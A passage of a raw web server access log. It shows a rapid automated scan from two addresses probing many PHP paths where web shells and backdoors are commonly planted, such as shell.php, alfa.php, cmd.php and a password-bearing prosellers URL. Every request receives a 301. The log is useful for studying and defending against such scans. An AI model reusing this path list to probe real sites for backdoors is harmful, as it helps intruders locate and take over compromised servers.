"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:20:57 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:57 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:57 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:57 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:57 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:58 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:58 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:58 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:58 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:59 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:20:59 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:59 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:59 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:59 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:20:59 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:00 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:00 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:00 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:00 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:00 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) 